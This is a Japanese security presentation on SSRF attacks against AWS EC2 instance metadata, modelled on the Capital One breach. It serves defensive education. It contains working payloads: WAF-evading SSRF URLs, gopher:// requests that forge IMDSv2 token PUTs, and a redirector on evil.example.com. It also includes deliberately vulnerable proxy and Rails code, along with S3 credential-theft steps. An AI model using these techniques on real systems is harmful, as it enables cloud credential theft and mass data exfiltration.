SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方 | PPT
SlideShare a Scribd company logo
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
EGセキュアソリューションズ株式会社
代表取締役 徳丸 浩
アジェンダ
• IMDSとは?
• Capital Oneの事例
• 脆弱なWAFに対するSSRF攻撃
• IMDSv2の説明と効果
• ブックマークアプリのプレビュー機能に対するSSRF攻撃
• IMDSv2を回避するGopherプロトコルによる攻撃
• IMDSv2の効果と限界のまとめ
• 対策
© 2020 Hiroshi Tokumaru 2
徳丸浩の自己紹介
• 経歴
– 1985年 京セラ株式会社入社
– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューションズ株式会社)設立
• 経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ
• 現在
– EGセキュアソリューションズ株式会社 代表 https://www.eg-secure.co.jp/
– 株式会社グレスアベイル 社外取締役 https://www.gresavail.com/
– 独立行政法人情報処理推進機構 非常勤研究員 https://www.ipa.go.jp/security/
– 著書「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」
(2018年6月21日)
「徳丸浩のWebセキュリティ教室 」(2015年10月)
– 技術士(情報工学部門)
3© 2020 Hiroshi Tokumaru
EC2 IMDS(IMDSv1)とは
• Instance MetaData Service
• Amazon EC2 の仮想エンドポイント
http://169.254.169.254/
• アクセス元の設定情報
(Instance MetaData)を返す
• 外部からはIMDSにはアクセス
できないので設定情報はもれない
…はず
• PUBLIC IPv4を取得する例
$ curl http://169.254.169.254/latest/meta-data/public-ipv4
18.217.170.163$
© 2020 Hiroshi Tokumaru 4
EC2インスタンス IMDS
EC2
169.254.169.254
仮想的な
エンドポイント
インスタンスの
設定情報
第1部:Capital Oneの大規模な情報漏えい
© 2020 Hiroshi Tokumaru 5
SSRF攻撃によるCapital Oneの個人情報流出についてまとめてみた - piyolog
2019年7月29日、米金融大手 Capital Oneは不正アクセスにより1億人を超える個人情報が流出したと発表しまし
た。WAFの設定ミスに起因して、Server Side Request Forgery(SSRF)攻撃を許したことにより情報を盗まれた
と見られています。ここでは関連する情報をまとめます。
Capital Oneによる公式発表
• Information on the Capital One Cyber Incident(米国向け)
• Information on the Capital One Cyber Incident(カナダ向け)
• Frequently Asked Questions
(1)影響範囲
影響が及んだ人数の内訳は以下の通り。
発表時点でCapital Oneは流出した情報が外部へ出回ることや、詐欺への使用は確認していない。
クレジットカード番号、ログイン情報は侵害されていない。
6
米国 約1億人
カナダ 約600万人
https://piyolog.hatenadiary.jp/entry/2019/08/06/062154 より引用
攻撃の模様
7
Apache+mod_security
リバースプロキシとして構成
AWS
EC2
Amazon
S3
169.254.169.254
(IMDSのエンドポイント)
SSRF攻撃により
ISRM-WAF-Role
にアクセス
ISRM-WAF-Role
S3
個人情報などを保管
 WAFの設定ミスを悪用したSSRF攻撃
 HostヘッダにIMDSエントリを指定
 設定ミスの詳細は明らかにされていない。
 1億人を超える被害者が出た。
© 2020 Hiroshi Tokumaru
なぜ攻撃を受けたか
© 2020 Hiroshi Tokumaru 8
• S3ストレージに大量の個人情報を保存
• S3ストレージのアクセス権がWAFのインスタンスに付与され
ていた
• WAFがオープンPROXYになっていた(予想)
• IMDSが無効化されていなかった
Capital One仕様の脆弱なWAFの作り方
© 2020 Hiroshi Tokumaru 9
Apacheでリバースプロキシとmod_securityを導入
# 以下はAmazon Linux上のでの操作
# Apacheとmod_security、CRS(ルール)をインストール
$ sudo yum install httpd mod_security mod_security_crs
$ vi /etc/httpd/conf.d/reverseproxy.conf
$ sudo systemctl restart httpd
© 2020 Hiroshi Tokumaru 10
ProxyRequests On
<VirtualHost *:80>
ServerName hadena.tokumaru.org
ProxyPass /error ! # エラーページ用
ProxyPass / http://172.31.XXX.XXX:3000/
ProxyErrorOverride On
ProxyPassReverse / http://172.31.XXX.XXX:3000/
</VirtualHost>
Ruby on Railsによる
アプリケーションサーバー(後述)
mod_securityによるWAFの概要
11
Apache+mod_security
Webサーバーリバースプロキシとして構成
AWS
EC2
© 2020 Hiroshi Tokumaru
先の設定だとオープン・プロキシに
© 2020 Hiroshi Tokumaru 12
Apache+mod_security
リバースプロキシとして構成
EC2
ProxyRequests On のせい
GET https://twitter.com/ HTTP/1.1
Host: twitter.com
GET / HTTP/1.1
Host: twtter.com
13https://httpd.apache.org/docs/2.4/ja/mod/mod_proxy.html より引用
警告
サーバを安全にするまで ProxyRequests は有効にしないで
ください。 オープンプロキシサーバはあなた自身のネット
ワークにとっても、 インターネット全体にとっても危険です。
試してみよう! WAFをブラウザのプロキシとして設定
© 2020 Hiroshi Tokumaru 14
リバースプロキシのIPアドレス
オープン・プロキシとして利用できた 便利!
15
オープン・プロキシを通してIMDSにアクセスする
© 2020 Hiroshi Tokumaru 16
オープン・プロキシ IMDS
EC2
169.254.169.254
インスタンスの
設定情報
GET http://169.254.169.254/...
インスタンスの
設定情報
単にIPアドレスを指定するとブロックされるが…
© 2020 Hiroshi Tokumaru 17
mod_securityがブロックしていた
Apache-Error: [file "apache2_util.c"] [line 273] [level 3] [cli
ent 221.246.230.61] ModSecurity: Access denied with code 403 (p
hase 2). Pattern match "^[d.:]+$" at REQUEST_HEADERS:Ho
st. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity
_crs_21_protocol_anomalies.conf"] [line "98"] [id "960017"] [re
v "2"] [msg "Host header is a numeric IP address"] [data "169.2
54.169.254"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [matu
rity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_
HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI
/6.5.10"] [tag "http://technet.microsoft.com/en-us/magazine/200
5.01.hackerbasher.aspx"] [hostname "169.254.169.254"] [uri "htt
p:/169.254.169.254/"] [unique_id "XkKBvsG@i7@6ZJTFMv@7yAAAAAA"]
© 2020 Hiroshi Tokumaru 18
HostヘッダがIPアドレス
適当なホスト名に169.254.169.254を設定すれば突破可能
© 2020 Hiroshi Tokumaru 19
IAMロールのクレデンシャルも、ほれ
© 2020 Hiroshi Tokumaru 20
AWS-CLIを素の環境にインストールしてクレデンシャルをセット
$ # AWS-CLI をインストール
$ mkdir ~/.aws; cd ~/.aws
$ vi ~/.aws/credential
$ cat ~/.aws/credential
[ssrf]
aws_access_key_id = ASIAXXXXXXXXXXXXXXXD
aws_secret_access_key = N1XZ6XXXXXXXXXXXXXXXXXXXXXXXX
aws_session_token = "IQoJb3JpZ2luX2VjEXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
…
XXXXXXXXXXXX="
© 2020 Hiroshi Tokumaru 21
S3バケットにアクセス(1)
$ aws s3 --profile ssrf ls
2020-02-09 20:38:18 hadena-bookmark
$ aws s3 --profile ssrf ls s3://hadena-bookmark/
2020-02-11 15:27:08 3961 2020-01-31-001.log
…
2020-02-11 15:30:33 2490 2020-02-09-001.log
$ aws s3 --profile ssrf cp s3://hadena-bookmark/2020-02-09-
001.log .
download: s3://hadena-bookmark/2020-02-09-001.log to ./2020
-02-09-001.log
$
© 2020 Hiroshi Tokumaru 22
S3バケットに保存されたログを表示
$ cat 2020-02-09-001.log
2020/2/9 00:11:39,4689,175.93.231.93,KANAKO HARADA,431293,3590483413538693,1120
2020/2/9 01:57:34,3834,210.13.159.11,HIOSHI TOKUMARU,53150,1234567890123450,0318
2020/2/9 02:13:20,3778,183.11.41.34,TARO YAMADA,160699,2345678901234501,0720
2020/2/9 02:23:53,7261,19.135.31.93,KOICHI TAKEDA,188199,3456789012345012,1217
2020/2/9 03:21:35,3778,208.59.213.93,JIRO UCHIDA,311207,4567890123450123,0120
2020/2/9 03:43:19,3927,105.34.205.91,SABURO TANAKA,329293,5678901234501234,1018
2020/2/9 04:43:17,3927,135.91.203.25,HANAKO TAKAHASHI,499707,6789012345012345,0918
……
2020/2/9 20:13:20,3778,183.11.41.34,TARO YAMADA,160699,2345678901234501,0721
2020/2/9 21:23:53,7261,19.135.31.93,KOICHI TAKEDA,188199,3456789012345012,1219
2020/2/9 22:21:35,3778,208.59.213.93,JIRO UCHIDA,311207,4567890123450123,0122
2020/2/9 23:11:39,4689,175.93.231.93,KANAKO HARADA,431293,3590483413538693,1120
2020/2/9 23:43:19,3927,105.34.205.91,SABURO TANAKA,329293,5678901234501234,1021
$
© 2020 Hiroshi Tokumaru 23
攻撃の模様(再掲)
24
Apache+mod_security
リバースプロキシとして構成
AWS
EC2
Amazon
S3
169.254.169.254
(IMDSのエンドポイント)
SSRF攻撃により
ISRM-WAF-Role
にアクセス
ISRM-WAF-Role
S3
個人情報などを保管
 WAFの設定ミスを悪用したSSRF攻撃
 HostヘッダにIMDSエントリを指定
 設定ミスの詳細は明らかにされていない。
 1億人を超える被害者が出た。
© 2020 Hiroshi Tokumaru
IMDSv2の説明
© 2020 Hiroshi Tokumaru 25
IMDSv2とは?
• v2へのアクセスには事前に取得したTokenを必須とする
– TokenはPUTで取得する必要がある
– Tokenリクエスト時に有効期限(秒)を設定できる
– Tokenはヘッダに入れてリクエストする必要がある
• v1を無効化できる(デフォルトでは併用可能)
• メタデータサービス自体を無効化できる
• EC2インスタンスを立ち上げる際にv2のみに設定することをIAMで強
制することができる
• X-Forwarded-ForヘッダーがあるリクエストにTokenを発行しない
• メタデータレスポンスのTTLを短くし複数ホストを経由した取得を防
止できる
26
クラスメソッド臼田氏のブログ記事より引用 https://dev.classmethod.jp/cloud/aws/ec2-imdsv2-release/
IMDSv2のみを有効化(IMDSv1を無効化)する
$ aws ec2 modify-instance-metadata-options --instance-id i-
0dxxxxxxxxxxxxxxxx --http-tokens required --http-endpoint
enabled
{
"InstanceId": "i-0xxxxxxxxxxxxxx",
"InstanceMetadataOptions": {
"State": "pending",
"HttpTokens": "required",
"HttpPutResponseHopLimit": 1,
"HttpEndpoint": "enabled"
}
}
© 2020 Hiroshi Tokumaru 27
IMDSv2 トークン取得の方法
$ curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 3600" "http://1
69.254.169.254/latest/api/token"
AQAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXlpg==
© 2020 Hiroshi Tokumaru 28
トークンを用いてメタデータを取得する
$ curl -H "X-aws-ec2-metadata-token: AQAAAA-…lpg==" http://169.254.169.2
54/latest/meta-data/iam/security-credentials/hadena
{
"Code" : "Success",
"LastUpdated" : "2020-02-12T03:49:08Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAXXXXXXXXXXXXXT",
"SecretAccessKey" : "/+LcPtXXXXXXXXXXXXXXXXXXXXXXXXXX",
"Token" : "IQoJb3JpZ2luXXXXXXXXXXXXXXXX … XXXXXXXXXXXXXXXXXX==",
"Expiration" : "2020-02-12T09:55:59Z"
}
© 2020 Hiroshi Tokumaru 29
X-Forwarded-Forヘッダをつけるとエラーになる
$ curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-m
etadata-token-ttl-seconds: 3600" -H "X-Forwarded-For: 203.0.113.1"
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>403 - Forbidden</title>
</head>
<body>
<h1>403 - Forbidden</h1>
</body>
</html>
© 2020 Hiroshi Tokumaru 30
IMDSv2の効果まとめ
• PUTメソッドを用いてトークン取得
• X-aws-ec2-metadata-token-ttl-secondsヘッダが必要
• X-Forwarded-Forヘッダがあるとエラーになる
• 「Capital One仕様の脆弱なWAF」の場合
– PUT メソッド … mod_securityでエラーに
– X-aws-ec2-metadata-token-ttl-secondsヘッダ 付与可能
– X-Forwarded-Forヘッダ 自動的に付与 → エラーに
• 【結論】IMDSv2 はオープンリバースプロキシからのSSRF攻撃対策と
して一定の効果がある
© 2020 Hiroshi Tokumaru 31
第2部:ブックマークアプリのプレビュー機能
のSSRF脆弱性
© 2020 Hiroshi Tokumaru 32
プレビュー機能でのSSRF攻撃
© 2020 Hiroshi Tokumaru 33
はてなブックマークのようなソーシャルブックマークの機能のうち、URLを指定してプレビューを
表示するというもの(Ruby on Rails)。題して「派手なブックマーク」
class BookmarkController < ApplicationController
def index
c = Curl::Easy.new(params[:url])
c.follow_location = true
c.http_get
s = c.body_str
s.force_encoding("UTF-8");
render html: Sanitize.clean(s, Sanitize::Config::RELAXED).html_safe
end
end
※ 本サンプルはスキームやURLのチェックを一切行っていないため、SSRF脆弱
有害なタグを取り除く処理
プレビュー機能の様子
© 2020 Hiroshi Tokumaru 34
http://hadena.tokumaru.org/?url=https://blog.tokumaru.org/
プレビュー機能でのSSRF攻撃(IMDSv1)
© 2020 Hiroshi Tokumaru 35
http://hadena.tokumaru.org/?url=http://169.254.169.254/
mod_securityがブロックしていた
Message: Access denied with code 403 (phase 2). Pattern match "
^(?i)(?:ht|f)tps?://(d{1,3}.d{1,3}.d{1,3}.d{1,
3})" at ARGS:url. [file "/etc/httpd/modsecurity.d/activated_rul
es/modsecurity_crs_40_generic_attacks.conf"] [line "154"] [id "
950117"] [rev "2"] [msg "Remote File Inclusion Attack"] [data "
Matched Data: http://169.254.169.254 found within ARGS:url: htt
p://169.254.169.254/"] [severity "CRITICAL"] [ver "OWASP_CRS/2.
2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/
RFI"]
© 2020 Hiroshi Tokumaru 36
URLがRFI (Remote File Inclusion)のルールに抵触
IPアドレスの代わりにホスト名にするとWAFを回避できる
© 2020 Hiroshi Tokumaru 37
http://hadena.tokumaru.org/?url=http://imds.example.jp/
ホスト名にしたらどうか?
クレデンシャルも、ほれ
© 2020 Hiroshi Tokumaru 38
http://hadena.tokumaru.org/?url=http://imds.example.jp/latest/meta-data/iam/security-credentials/hadena
IMDSv2での攻撃に関する検討
• PUTメソッドを用いてトークン取得
• X-aws-ec2-metadata-token-ttl-secondsヘッダが必要
• X-Forwarded-Forヘッダがあるとエラーになる
• 「派手なブックマーク」の場合
– PUT メソッド … PUTメソッドの指定は困難そう
– X-aws-ec2-metadata-token-ttl-secondsヘッダ 付与できなさそう
– X-Forwarded-Forヘッダ 付与されない → これはOK
• IMDSv2 の突破は困難なように見える
• それ、Gopherでできるよ!
© 2020 Hiroshi Tokumaru 39
Gopherプロトコルとは
Gopher(ゴーファー)とは、インターネットがテキストベース
(文字情報主体)のネットワークであった1991年に、アメリカ合
衆国のミネソタ大学が開発したテキストベースの情報検索シス
テム。
1993年頃から本格的になったWWWの普及や、Gopherそのもの
が日本語などマルチバイト文字環境に対応していなかったため、
2013年1月現在はほとんど使われていない。
https://ja.wikipedia.org/wiki/Gopher より引用
40
Gopherの例
• 以下で待受しておく
$ nc -l 8888
• 別ターミナルで以下を実行
$ curl gopher://localhost:8888/_Hello%0d%0aHiroshi%20Tokumaru%0d%0a
• 以下が表示される
$ nc -l 8888
Hello
Hiroshi Tokumaru
Response ← この行はResponse 改行 Ctrl-d を手入力したもの
• curl呼び出し後以下が表示される
$ curl gopher://localhost:8888/_Hello%0d%0aHiroshi%20Tokumaru%0d%0a
Response
$
© 2020 Hiroshi Tokumaru 41
GopherでHTTPをエミュレートできる
• 以下を実行すると…
$ curl gopher://169.254.169.254:80/_PUT%20/latest/api/tok
en%20HTTP/1.1%0D%0AHost:%20169.254.169.254%0D%0AX-aws-ec2
-metadata-token-ttl-seconds:%203600%0D%0A%0D%0A
• 以下が169.254.169.254に送信される
PUT /latest/api/token HTTP/1.1 [改行]
Host: 169.254.169.254 [改行]
X-aws-ec2-metadata-token-ttl-seconds: 3600 [改行]
[改行]
• GopherプロトコルでPUTメソッドとカスタムヘッダを実現できる
© 2020 Hiroshi Tokumaru 42
攻撃してみよう!
© 2020 Hiroshi Tokumaru 43
http://hadena.tokumaru.org/?url=gopher://169.254.169.254:80/_PUT%2520/lat
est/api/token%2520HTTP/1.1%250D%250AHost:%2520169.254.169.254%250D…
これはトークンだが、インスタンスメタデータ
も同様に取得可能
URLのスキームをバリデーションすれば?
© 2020 Hiroshi Tokumaru 44
def index
url = params[:url]
uri = URI.parse(url)
if uri.scheme != 'http' && uri.scheme != 'https'
render html:'Invalid scheme'+ uri.scheme
return
end
c = Curl::Easy.new(url)
# 以下略
※ スキームをHTTPおよびHTTPSのみ許可する
リダイレクタによる攻撃
• 外部のサイトにリダイレクタを設置する
<?php
header('Location: gopher://169.254.169.254:80/_PUT%20/l
atest/api/token%20HTTP/1.1%0D%0AHost:%20169.254.169…
© 2020 Hiroshi Tokumaru 45
evil.example.com
IMDS(169.254.169.254)
WebサーバーWAF
?url=http://evil.example.com
GopherプロトコルによりIMDSv2のトークンが取得できた
© 2020 Hiroshi Tokumaru 46
対策
• ネットワーク的な保護
URLの完全な検証は難しいので、ネットワーク的な保護も有効です。以下は、AWS
のドキュメントで推奨されている iptables の設定例。
これにより、「docker0 ブリッジのコンテナがコンテナインスタンスのロールに指
定されている権限にアクセスするのを防止できます」としている。iptablesによる設
定は環境依存なのでご注意を。
sudo iptables --insert FORWARD 1 --in-interface docker+ --destinatio
n 169.254.169.254/32 --jump DROP
Amazon ECS コンテナインスタンスの IAM ロール - Amazon Elastic Container
Service より引用
47© 2020 Hiroshi Tokumaru
IMDS自体が必要ない場合は無効化する
48© 2020 Hiroshi Tokumaru
$ aws ec2 modify-instance-metadata-options --instance-id i-
0d095e1ae9ffac3c3 --http-endpoint disabled
{
"InstanceId": "i-0d095e1ae9ffac3c3",
"InstanceMetadataOptions": {
"State": "pending",
"HttpTokens": "required",
"HttpPutResponseHopLimit": 1,
"HttpEndpoint": "disabled"
}
}
IMDSを無効化すると、IMDS要求時に403が返る
$ curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-
ec2-metadata-token-ttl-seconds: 3600"
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>403 - Forbidden</title>
</head>
<body>
<h1>403 - Forbidden</h1>
</body>
</html>
© 2020 Hiroshi Tokumaru 49
まとめ
• 脆弱なWAFの作り方
• 脆弱なWAFに対するSSRF攻撃
• IMDSv2の説明と効果
• ブックマークアプリのプレビュー機能に対するSSRF攻撃
• IMDSv2を回避するGopherプロトコルによる攻撃
• IMDSv2の効果と限界
• ネットワーク的な防御を推奨
© 2020 Hiroshi Tokumaru 50

More Related Content

SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方